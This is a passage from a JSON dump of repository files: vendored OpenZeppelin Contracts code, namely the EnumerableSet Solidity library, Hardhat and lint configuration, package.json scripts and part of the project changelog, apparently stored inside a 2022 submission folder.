    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableSet.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Library for managing\n * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive\n * types.\n *\n * Sets have the following properties:\n *\n * - Elements are added, removed, and checked for existence in constant time\n * (O(1)).\n * - Elements are enumerated in O(n). No guarantees are made on the ordering.\n *\n * ```\n * contract Example {\n *     // Add the library methods\n *     using EnumerableSet for EnumerableSet.AddressSet;\n *\n *     // Declare a set state variable\n *     EnumerableSet.AddressSet private mySet;\n * }\n * ```\n *\n * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)\n * and `uint256` (`UintSet`) are supported.\n */\nlibrary EnumerableSet {\n    // To implement this library for multiple types with as little code\n    // repetition as possible, we write it in terms of a generic Set type with\n    // bytes32 values.\n    // The Set implementation uses private functions, and user-facing\n    // implementations (such as AddressSet) are just wrappers around the\n    // underlying Set.\n    // This means that we can only create new EnumerableSets for types that fit\n    // in bytes32.\n\n    struct Set {\n        // Storage of set values\n        bytes32[] _values;\n        // Position of the value in the `values` array, plus 1 because index 0\n        // means a value is not in the set.\n        mapping(bytes32 => uint256) _indexes;\n    }\n\n    /**\n     * @dev Add a value to a set. O(1).\n     *\n     * Returns true if the value was added to the set, that is if it was not\n     * already present.\n     */\n    function _add(Set storage set, bytes32 value) private returns (bool) {\n        if (!_contains(set, value)) {\n            set._values.push(value);\n            // The value is stored at length-1, but we add 1 to all indexes\n            // and use 0 as a sentinel value\n            set._indexes[value] = set._values.length;\n            return true;\n        } else {\n            return false;\n        }\n    }\n\n    /**\n     * @dev Removes a value from a set. O(1).\n     *\n     * Returns true if the value was removed from the set, that is if it was\n     * present.\n     */\n    function _remove(Set storage set, bytes32 value) private returns (bool) {\n        // We read and store the value's index to prevent multiple reads from the same storage slot\n        uint256 valueIndex = set._indexes[value];\n\n        if (valueIndex != 0) {\n            // Equivalent to contains(set, value)\n            // To delete an element from the _values array in O(1), we swap the element to delete with the last one in\n            // the array, and then remove the last element (sometimes called as 'swap and pop').\n            // This modifies the order of the array, as noted in {at}.\n\n            uint256 toDeleteIndex = valueIndex - 1;\n            uint256 lastIndex = set._values.length - 1;\n\n            if (lastIndex != toDeleteIndex) {\n                bytes32 lastvalue = set._values[lastIndex];\n\n                // Move the last value to the index where the value to delete is\n                set._values[toDeleteIndex] = lastvalue;\n                // Update the index for the moved value\n                set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex\n            }\n\n            // Delete the slot where the moved value was stored\n            set._values.pop();\n\n            // Delete the index for the deleted slot\n            delete set._indexes[value];\n\n            return true;\n        } else {\n            return false;\n        }\n    }\n\n    /**\n     * @dev Returns true if the value is in the set. O(1).\n     */\n    function _contains(Set storage set, bytes32 value) private view returns (bool) {\n        return set._indexes[value] != 0;\n    }\n\n    /**\n     * @dev Returns the number of values on the set. O(1).\n     */\n    function _length(Set storage set) private view returns (uint256) {\n        return set._values.length;\n    }\n\n    /**\n     * @dev Returns the value stored at position `index` in the set. O(1).\n     *\n     * Note that there are no guarantees on the ordering of values inside the\n     * array, and it may change when more values are added or removed.\n     *\n     * Requirements:\n     *\n     * - `index` must be strictly less than {length}.\n     */\n    function _at(Set storage set, uint256 index) private view returns (bytes32) {\n        return set._values[index];\n    }\n\n    /**\n     * @dev Return the entire set in an array\n     *\n     * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed\n     * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that\n     * this function has an unbounded cost, and using it as part of a state-changing function may render the function\n     * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.\n     */\n    function _values(Set storage set) private view returns (bytes32[] memory) {\n        return set._values;\n    }\n\n    // Bytes32Set\n\n    struct Bytes32Set {\n        Set _inner;\n    }\n\n    /**\n     * @dev Add a value to a set. O(1).\n     *\n     * Returns true if the value was added to the set, that is if it was not\n     * already present.\n     */\n    function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {\n        return _add(set._inner, value);\n    }\n\n    /**\n     * @dev Removes a value from a set. O(1).\n     *\n     * Returns true if the value was removed from the set, that is if it was\n     * present.\n     */\n    function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {\n        return _remove(set._inner, value);\n    }\n\n    /**\n     * @dev Returns true if the value is in the set. O(1).\n     */\n    function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {\n        return _contains(set._inner, value);\n    }\n\n    /**\n     * @dev Returns the number of values in the set. O(1).\n     */\n    function length(Bytes32Set storage set) internal view returns (uint256) {\n        return _length(set._inner);\n    }\n\n    /**\n     * @dev Returns the value stored at position `index` in the set. O(1).\n     *\n     * Note that there are no guarantees on the ordering of values inside the\n     * array, and it may change when more values are added or removed.\n     *\n     * Requirements:\n     *\n     * - `index` must be strictly less than {length}.\n     */\n    function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {\n        return _at(set._inner, index);\n    }\n\n    /**\n     * @dev Return the entire set in an array\n     *\n     * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed\n     * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that\n     * this function has an unbounded cost, and using it as part of a state-changing function may render the function\n     * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.\n     */\n    function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {\n        return _values(set._inner);\n    }\n\n    // AddressSet\n\n    struct AddressSet {\n        Set _inner;\n    }\n\n    /**\n     * @dev Add a value to a set. O(1).\n     *\n     * Returns true if the value was added to the set, that is if it was not\n     * already present.\n     */\n    function add(AddressSet storage set, address value) internal returns (bool) {\n        return _add(set._inner, bytes32(uint256(uint160(value))));\n    }\n\n    /**\n     * @dev Removes a value from a set. O(1).\n     *\n     * Returns true if the value was removed from the set, that is if it was\n     * present.\n     */\n    function remove(AddressSet storage set, address value) internal returns (bool) {\n        return _remove(set._inner, bytes32(uint256(uint160(value))));\n    }\n\n    /**\n     * @dev Returns true if the value is in the set. O(1).\n     */\n    function contains(AddressSet storage set, address value) internal view returns (bool) {\n        return _contains(set._inner, bytes32(uint256(uint160(value))));\n    }\n\n    /**\n     * @dev Returns the number of values in the set. O(1).\n     */\n    function length(AddressSet storage set) internal view returns (uint256) {\n        return _length(set._inner);\n    }\n\n    /**\n     * @dev Returns the value stored at position `index` in the set. O(1).\n     *\n     * Note that there are no guarantees on the ordering of values inside the\n     * array, and it may change when more values are added or removed.\n     *\n     * Requirements:\n     *\n     * - `index` must be strictly less than {length}.\n     */\n    function at(AddressSet storage set, uint256 index) internal view returns (address) {\n        return address(uint160(uint256(_at(set._inner, index))));\n    }\n\n    /**\n     * @dev Return the entire set in an array\n     *\n     * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed\n     * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that\n     * this function has an unbounded cost, and using it as part of a state-changing function may render the function\n     * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.\n     */\n    function values(AddressSet storage set) internal view returns (address[] memory) {\n        bytes32[] memory store = _values(set._inner);\n        address[] memory result;\n\n        assembly {\n            result := store\n        }\n\n        return result;\n    }\n\n    // UintSet\n\n    struct UintSet {\n        Set _inner;\n    }\n\n    /**\n     * @dev Add a value to a set. O(1).\n     *\n     * Returns true if the value was added to the set, that is if it was not\n     * already present.\n     */\n    function add(UintSet storage set, uint256 value) internal returns (bool) {\n        return _add(set._inner, bytes32(value));\n    }\n\n    /**\n     * @dev Removes a value from a set. O(1).\n     *\n     * Returns true if the value was removed from the set, that is if it was\n     * present.\n     */\n    function remove(UintSet storage set, uint256 value) internal returns (bool) {\n        return _remove(set._inner, bytes32(value));\n    }\n\n    /**\n     * @dev Returns true if the value is in the set. O(1).\n     */\n    function contains(UintSet storage set, uint256 value) internal view returns (bool) {\n        return _contains(set._inner, bytes32(value));\n    }\n\n    /**\n     * @dev Returns the number of values on the set. O(1).\n     */\n    function length(UintSet storage set) internal view returns (uint256) {\n        return _length(set._inner);\n    }\n\n    /**\n     * @dev Returns the value stored at position `index` in the set. O(1).\n     *\n     * Note that there are no guarantees on the ordering of values inside the\n     * array, and it may change when more values are added or removed.\n     *\n     * Requirements:\n     *\n     * - `index` must be strictly less than {length}.\n     */\n    function at(UintSet storage set, uint256 index) internal view returns (uint256) {\n        return uint256(_at(set._inner, index));\n    }\n\n    /**\n     * @dev Return the entire set in an array\n     *\n     * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed\n     * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that\n     * this function has an unbounded cost, and using it as part of a state-changing function may render the function\n     * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.\n     */\n    function values(UintSet storage set) internal view returns (uint256[] memory) {\n        bytes32[] memory store = _values(set._inner);\n        uint256[] memory result;\n\n        assembly {\n            result := store\n        }\n\n        return result;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/hardhat/env-contract.js",
    "content": "extendEnvironment(env => {\n  const { contract } = env;\n\n  env.contract = function (name, body) {\n    // remove the default account from the accounts list used in tests, in order\n    // to protect tests against accidentally passing due to the contract\n    // deployer being used subsequently as function caller\n    contract(name, accounts => body(accounts.slice(1)));\n  };\n});\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/hardhat.config.js",
    "content": "/// ENVVAR\n// - CI:                output gas report to file instead of stdout\n// - COVERAGE:          enable coverage report\n// - ENABLE_GAS_REPORT: enable gas report\n// - COMPILE_MODE:      production modes enables optimizations (default: development)\n// - COMPILE_VERSION:   compiler version (default: 0.8.3)\n// - COINMARKETCAP:     coinmarkercat api key for USD value in gas report\n\nconst fs = require('fs');\nconst path = require('path');\nconst argv = require('yargs/yargs')()\n  .env('')\n  .options({\n    ci: {\n      type: 'boolean',\n      default: false,\n    },\n    coverage: {\n      type: 'boolean',\n      default: false,\n    },\n    gas: {\n      alias: 'enableGasReport',\n      type: 'boolean',\n      default: false,\n    },\n    mode: {\n      alias: 'compileMode',\n      type: 'string',\n      choices: [ 'production', 'development' ],\n      default: 'development',\n    },\n    compiler: {\n      alias: 'compileVersion',\n      type: 'string',\n      default: '0.8.3',\n    },\n    coinmarketcap: {\n      alias: 'coinmarketcapApiKey',\n      type: 'string',\n    },\n  })\n  .argv;\n\nrequire('@nomiclabs/hardhat-truffle5');\n\nif (argv.enableGasReport) {\n  require('hardhat-gas-reporter');\n}\n\nfor (const f of fs.readdirSync(path.join(__dirname, 'hardhat'))) {\n  require(path.join(__dirname, 'hardhat', f));\n}\n\nconst withOptimizations = argv.enableGasReport || argv.compileMode === 'production';\n\n/**\n * @type import('hardhat/config').HardhatUserConfig\n */\nmodule.exports = {\n  solidity: {\n    version: argv.compiler,\n    settings: {\n      optimizer: {\n        enabled: withOptimizations,\n        runs: 200,\n      },\n    },\n  },\n  networks: {\n    hardhat: {\n      blockGasLimit: 10000000,\n      allowUnlimitedContractSize: !withOptimizations,\n    },\n  },\n  gasReporter: {\n    currency: 'USD',\n    outputFile: argv.ci ? 'gas-report.txt' : undefined,\n    coinmarketcap: argv.coinmarketcap,\n  },\n};\n\nif (argv.coverage) {\n  require('solidity-coverage');\n  module.exports.networks.hardhat.initialBaseFeePerGas = 0;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/migrations/.gitkeep",
    "content": ""
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/netlify.toml",
    "content": "[build]\ncommand = \"npm run docs\"\npublish = \"build/site\"\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/package.json",
    "content": "{\n  \"name\": \"openzeppelin-solidity\",\n  \"description\": \"Secure Smart Contract library for Solidity\",\n  \"version\": \"4.4.2\",\n  \"files\": [\n    \"/contracts/**/*.sol\",\n    \"/build/contracts/*.json\",\n    \"!/contracts/mocks/**/*\"\n  ],\n  \"bin\": {\n    \"openzeppelin-contracts-migrate-imports\": \"scripts/migrate-imports.js\"\n  },\n  \"scripts\": {\n    \"compile\": \"hardhat compile\",\n    \"coverage\": \"env COVERAGE=true hardhat coverage\",\n    \"docs\": \"oz-docs\",\n    \"docs:watch\": \"npm run docs watch contracts 'docs/*.hbs' docs/helpers.js\",\n    \"prepare-docs\": \"scripts/prepare-docs.sh\",\n    \"lint\": \"npm run lint:js && npm run lint:sol\",\n    \"lint:fix\": \"npm run lint:js:fix && npm run lint:sol:fix\",\n    \"lint:js\": \"eslint --ignore-path .gitignore .\",\n    \"lint:js:fix\": \"eslint --ignore-path .gitignore . --fix\",\n    \"lint:sol\": \"solhint 'contracts/**/*.sol' && prettier -c 'contracts/**/*.sol'\",\n    \"lint:sol:fix\": \"prettier --write \\\"contracts/**/*.sol\\\"\",\n    \"clean\": \"hardhat clean && rimraf build contracts/build\",\n    \"prepare\": \"npm run clean && env COMPILE_MODE=production npm run compile\",\n    \"prepack\": \"scripts/prepack.sh\",\n    \"release\": \"scripts/release/release.sh\",\n    \"version\": \"scripts/release/version.sh\",\n    \"test\": \"hardhat test\",\n    \"test:inheritance\": \"node scripts/inheritanceOrdering artifacts/build-info/*\",\n    \"gas-report\": \"env ENABLE_GAS_REPORT=true npm run test\"\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"https://github.com/OpenZeppelin/openzeppelin-contracts.git\"\n  },\n  \"keywords\": [\n    \"solidity\",\n    \"ethereum\",\n    \"smart\",\n    \"contracts\",\n    \"security\",\n    \"zeppelin\"\n  ],\n  \"author\": \"OpenZeppelin Community <maintainers@openzeppelin.org>\",\n  \"license\": \"MIT\",\n  \"bugs\": {\n    \"url\": \"https://github.com/OpenZeppelin/openzeppelin-contracts/issues\"\n  },\n  \"homepage\": \"https://openzeppelin.com/contracts/\",\n  \"devDependencies\": {\n    \"@nomiclabs/hardhat-truffle5\": \"^2.0.0\",\n    \"@nomiclabs/hardhat-web3\": \"^2.0.0\",\n    \"@openzeppelin/docs-utils\": \"^0.1.0\",\n    \"@openzeppelin/test-helpers\": \"^0.5.13\",\n    \"@truffle/abi-utils\": \"^0.2.3\",\n    \"chai\": \"^4.2.0\",\n    \"eslint\": \"^6.5.1\",\n    \"eslint-config-standard\": \"^14.1.1\",\n    \"eslint-plugin-import\": \"^2.20.0\",\n    \"eslint-plugin-mocha-no-only\": \"^1.1.0\",\n    \"eslint-plugin-node\": \"^10.0.0\",\n    \"eslint-plugin-promise\": \"^4.2.1\",\n    \"eslint-plugin-standard\": \"^4.0.1\",\n    \"eth-sig-util\": \"^3.0.0\",\n    \"ethereumjs-util\": \"^7.0.7\",\n    \"ethereumjs-wallet\": \"^1.0.1\",\n    \"glob\": \"^7.2.0\",\n    \"graphlib\": \"^2.1.8\",\n    \"hardhat\": \"^2.0.6\",\n    \"hardhat-gas-reporter\": \"^1.0.4\",\n    \"keccak256\": \"^1.0.2\",\n    \"lodash.startcase\": \"^4.4.0\",\n    \"lodash.zip\": \"^4.2.0\",\n    \"merkletreejs\": \"^0.2.13\",\n    \"micromatch\": \"^4.0.2\",\n    \"prettier\": \"^2.3.0\",\n    \"prettier-plugin-solidity\": \"^1.0.0-beta.16\",\n    \"rimraf\": \"^3.0.2\",\n    \"semver\": \"^7.3.5\",\n    \"solhint\": \"^3.3.6\",\n    \"solidity-ast\": \"^0.4.25\",\n    \"solidity-coverage\": \"^0.7.11\",\n    \"solidity-docgen\": \"^0.5.3\",\n    \"web3\": \"^1.3.0\",\n    \"yargs\": \"^16.2.0\"\n  }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/renovate.json",
    "content": "{\n  \"extends\": [\n    \"github>OpenZeppelin/code-style\"\n  ],\n  \"packageRules\": [\n    {\n      \"extends\": [\"packages:eslint\"],\n      \"enabled\": false\n    }\n  ]\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/.codecov.yml",
    "content": "comment: off\ngithub_checks:\n  annotations: false\ncoverage:\n  status:\n    patch:\n      default:\n        target: 95%\n    project:\n      default:\n        threshold: 1%\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/.editorconfig",
    "content": "# EditorConfig is awesome: https://EditorConfig.org\n\n# top-most EditorConfig file\nroot = true\n\n[*]\ncharset = utf-8\nend_of_line = lf\nindent_style = space\ninsert_final_newline = true\ntrim_trailing_whitespace = false\nmax_line_length = 120\n\n[*.sol]\nindent_size = 4\n\n[*.js]\nindent_size = 2\n\n[*.adoc]\nmax_line_length = 0\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/.eslintrc",
    "content": "{\n  \"extends\" : [\n    \"standard\",\n    \"plugin:promise/recommended\",\n  ],\n  \"plugins\": [\n    \"mocha-no-only\",\n    \"promise\",\n  ],\n  \"env\": {\n    \"browser\" : true,\n    \"node\"    : true,\n    \"mocha\"   : true,\n    \"jest\"    : true,\n  },\n  \"globals\" : {\n    \"artifacts\": false,\n    \"contract\": false,\n    \"assert\": false,\n    \"web3\": false,\n    \"usePlugin\": false,\n    \"extendEnvironment\": false,\n  },\n  \"rules\": {\n\n    // Strict mode\n    \"strict\": [\"error\", \"global\"],\n\n    // Code style\n    \"array-bracket-spacing\": [\"off\"],\n    \"camelcase\": [\"error\", {\"properties\": \"always\"}],\n    \"comma-dangle\": [\"error\", \"always-multiline\"],\n    \"comma-spacing\": [\"error\", {\"before\": false, \"after\": true}],\n    \"dot-notation\": [\"error\", {\"allowKeywords\": true, \"allowPattern\": \"\"}],\n    \"eol-last\": [\"error\", \"always\"],\n    \"eqeqeq\": [\"error\", \"smart\"],\n    \"generator-star-spacing\": [\"error\", \"before\"],\n    \"indent\": [\"error\", 2],\n    \"linebreak-style\": [\"error\", \"unix\"],\n    \"max-len\": [\"error\", 120, 2],\n    \"no-debugger\": \"off\",\n    \"no-dupe-args\": \"error\",\n    \"no-dupe-keys\": \"error\",\n    \"no-mixed-spaces-and-tabs\": [\"error\", \"smart-tabs\"],\n    \"no-redeclare\": [\"error\", {\"builtinGlobals\": true}],\n    \"no-trailing-spaces\": [\"error\", { \"skipBlankLines\": false }],\n    \"no-undef\": \"error\",\n    \"no-use-before-define\": \"off\",\n    \"no-var\": \"error\",\n    \"object-curly-spacing\": [\"error\", \"always\"],\n    \"prefer-const\": \"error\",\n    \"quotes\": [\"error\", \"single\"],\n    \"semi\": [\"error\", \"always\"],\n    \"space-before-function-paren\": [\"error\", \"always\"],\n\n    \"mocha-no-only/mocha-no-only\": [\"error\"],\n\n    \"promise/always-return\": \"off\",\n    \"promise/avoid-new\": \"off\",\n  },\n  \"parserOptions\": {\n    \"ecmaVersion\": 2018\n  }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/.gitattributes",
    "content": "*.sol linguist-language=Solidity\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/.gitignore",
    "content": "*.swp\n*.swo\n\n# Logs\nlogs\n*.log\n\n# Runtime data\npids\n*.pid\n*.seed\nallFiredEvents\nscTopics\n\n# Coverage directory used by tools like istanbul\ncoverage\ncoverage.json\ncoverageEnv\n\n# node-waf configuration\n.lock-wscript\n\n# Dependency directory\nnode_modules\n\n# Debug log from npm\nnpm-debug.log\n\n# local env variables\n.env\n\n# truffle build directory\nbuild/\n\n# macOS\n.DS_Store\n\n# truffle\n.node-xmlhttprequest-*\n\n# IntelliJ IDE\n.idea\n\n# docs artifacts\ndocs/modules/api\n\n# only used to package @openzeppelin/contracts\ncontracts/build/\ncontracts/README.md\n\n# temporary artifact from solidity-coverage\nallFiredEvents\n.coverage_artifacts\n.coverage_cache\n.coverage_contracts\n\n# hardhat\ncache\nartifacts\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/.mocharc.js",
    "content": "module.exports = {\n  require: 'hardhat/register',\n  timeout: 4000,\n};\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/.prettierrc",
    "content": "{\n  \"overrides\": [\n    {\n      \"files\": \"*.sol\",\n      \"options\": {\n        \"printWidth\": 120,\n        \"explicitTypes\": \"always\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/.solcover.js",
    "content": "module.exports = {\n    norpc: true,\n    testCommand: 'npm test',\n    compileCommand: 'npm run compile',\n    skipFiles: [\n        'mocks',\n    ],\n    providerOptions: {\n        default_balance_ether: '10000000000000000000000000',\n    },\n    mocha: {\n        fgrep: '[skip-on-coverage]',\n        invert: true,\n    },\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/.solhint.json",
    "content": "{\n  \"rules\": {\n    \"no-unused-vars\": \"error\",\n    \"const-name-snakecase\": \"error\",\n    \"contract-name-camelcase\": \"error\",\n    \"event-name-camelcase\": \"error\",\n    \"func-name-mixedcase\": \"error\",\n    \"func-param-name-mixedcase\": \"error\",\n    \"modifier-name-mixedcase\": \"error\",\n    \"private-vars-leading-underscore\": \"error\",\n    \"var-name-mixedcase\": \"error\",\n    \"imports-on-top\": \"error\"\n  }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/CHANGELOG.md",
    "content": "# Changelog\n\n## 4.4.2 (2022-01-11)\n\n### Bugfixes\n * `GovernorCompatibilityBravo`: Fix error in the encoding of calldata for proposals submitted through the compatibility interface with explicit signatures. ([#3100](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/#3100))\n\n## 4.4.1 (2021-12-14)\n\n * `Initializable`: change the existing `initializer` modifier and add a new `onlyInitializing` modifier to prevent reentrancy risk. ([#3006](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/3006))\n\n### Breaking change\n\nIt is no longer possible to call an `initializer`-protected function from within another `initializer` function outside the context of a constructor. Projects using OpenZeppelin upgradeable proxies should continue to work as is, since in the common case the initializer is invoked in the constructor directly. If this is not the case for you, the suggested change is to use the new `onlyInitializing` modifier in the following way:\n\n```diff\n contract A {\n-    function initialize() public   initializer { ... }\n+    function initialize() internal onlyInitializing { ... }\n }\n contract B is A {\n     function initialize() public initializer {\n         A.initialize();\n     }\n }\n```\n\n## 4.4.0 (2021-11-25)\n\n * `Ownable`: add an internal `_transferOwnership(address)`. ([#2568](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2568))\n * `AccessControl`: add internal `_grantRole(bytes32,address)` and `_revokeRole(bytes32,address)`. ([#2568](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2568))\n * `AccessControl`: mark `_setupRole(bytes32,address)` as deprecated in favor of `_grantRole(bytes32,address)`. ([#2568](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2568))\n * `AccessControlEnumerable`: hook into `_grantRole(bytes32,address)` and `_revokeRole(bytes32,address)`. ([#2946](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2946))\n * `EIP712`: cache `address(this)` to immutable storage to avoid potential issues if a vanilla contract is used in a delegatecall context. ([#2852](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2852))\n * Add internal `_setApprovalForAll` to `ERC721` and `ERC1155`. ([#2834](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2834))\n * `Governor`: shift vote start and end by one block to better match Compound's GovernorBravo and prevent voting at the Governor level if the voting snapshot is not ready. ([#2892](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2892))\n * `GovernorCompatibilityBravo`: consider quorum an inclusive rather than exclusive minimum to match Compound's GovernorBravo. ([#2974](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2974))\n * `GovernorSettings`: a new governor module that manages voting settings updatable through governance actions. ([#2904](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2904))\n * `PaymentSplitter`: now supports ERC20 assets in addition to Ether. ([#2858](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2858))\n * `ECDSA`: add a variant of `toEthSignedMessageHash` for arbitrary length message hashing. ([#2865](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2865))\n * `MerkleProof`: add a `processProof` function that returns the rebuilt root hash given a leaf and a proof. ([#2841](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2841))\n * `VestingWallet`: new contract that handles the vesting of Ether and ERC20 tokens following a customizable vesting schedule. ([#2748](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2748))\n * `Governor`: enable receiving Ether when a Timelock contract is not used. ([#2748](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2849))\n * `GovernorTimelockCompound`: fix ability to use Ether stored in the Timelock contract. ([#2748](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2849))\n\n## 4.3.3\n\n * `ERC1155Supply`: Handle `totalSupply` changes by hooking into `_beforeTokenTransfer` to ensure consistency of balances and supply during `IERC1155Receiver.onERC1155Received` calls.\n\n## 4.3.2 (2021-09-14)\n\n * `UUPSUpgradeable`: Add modifiers to prevent `upgradeTo` and `upgradeToAndCall` being executed on any contract that is not the active ERC1967 proxy. This prevents these functions being called on implementation contracts or minimal ERC1167 clones, in particular.\n\n## 4.3.1 (2021-08-26)\n\n * `TimelockController`: Add additional isOperationReady check.\n\n## 4.3.0 (2021-08-17)\n\n * `ERC2771Context`: use private variable from storage to store the forwarder address. Fixes issues where `_msgSender()` was not callable from constructors. ([#2754](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2754))\n * `EnumerableSet`: add `values()` functions that returns an array containing all values in a single call. ([#2768](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2768))\n * `Governor`: added a modular system of `Governor` contracts based on `GovernorAlpha` and `GovernorBravo`. ([#2672](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2672))\n * Add an `interfaces` folder containing solidity interfaces to final ERCs. ([#2517](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2517))\n * `ECDSA`: add `tryRecover` functions that will not throw if the signature is invalid, and will return an error flag instead. ([#2661](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2661))\n * `SignatureChecker`: Reduce gas usage of the `isValidSignatureNow` function for the \"signature by EOA\" case. ([#2661](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2661))\n\n## 4.2.0 (2021-06-30)\n\n * `ERC20Votes`: add a new extension of the `ERC20` token with support for voting snapshots and delegation. ([#2632](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2632))\n * `ERC20VotesComp`: Variant of `ERC20Votes` that is compatible with Compound's `Comp` token interface but restricts supply to `uint96`. ([#2706](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2706))\n * `ERC20Wrapper`: add a new extension of the `ERC20` token which wraps an underlying token. Deposit and withdraw guarantee that the total supply is backed by a corresponding amount of underlying token. ([#2633](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2633))\n * Enumerables: Improve gas cost of removal in `EnumerableSet` and `EnumerableMap`.\n * Enumerables: Improve gas cost of lookup in `EnumerableSet` and `EnumerableMap`.\n * `Counter`: add a reset method. ([#2678](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2678))\n * Tokens: Wrap definitely safe subtractions in `unchecked` blocks.\n * `Math`: Add a `ceilDiv` method for performing ceiling division.\n * `ERC1155Supply`: add a new `ERC1155` extension that keeps track of the totalSupply of each tokenId. ([#2593](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2593))\n * `BitMaps`: add a new `BitMaps` library that provides a storage efficient datastructure for `uint256` to `bool` mapping with contiguous keys. ([#2710](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2710))\n\n### Breaking Changes\n\n * `ERC20FlashMint` is no longer a Draft ERC. ([#2673](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2673)))\n\n**How to update:** Change your import paths by removing the `draft-` prefix from `@openzeppelin/contracts/token/ERC20/extensions/draft-ERC20FlashMint.sol`.\n\n> See [Releases and Stability: Drafts](https://docs.openzeppelin.com/contracts/4.x/releases-stability#drafts).\n\n## 4.1.0 (2021-04-29)\n\n * `IERC20Metadata`: add a new extended interface that includes the optional `name()`, `symbol()` and `decimals()` functions. ([#2561](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2561))\n * `ERC777`: make reception acquirement optional in `_mint`. ([#2552](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2552))\n * `ERC20Permit`: add a `_useNonce` to enable further usage of ERC712 signatures. ([#2565](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2565))\n * `ERC20FlashMint`: add an implementation of the ERC3156 extension for flash-minting ERC20 tokens. ([#2543](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2543))\n * `SignatureChecker`: add a signature verification library that supports both EOA and ERC1271 compliant contracts as signers. ([#2532](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2532))\n * `Multicall`: add abstract contract with `multicall(bytes[] calldata data)` function to bundle multiple calls together ([#2608](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2608))\n * `ECDSA`: add support for ERC2098 short-signatures. ([#2582](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2582))\n * `AccessControl`: add a `onlyRole` modifier to restrict specific function to callers bearing a specific role. ([#2609](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2609))\n * `StorageSlot`: add a library for reading and writing 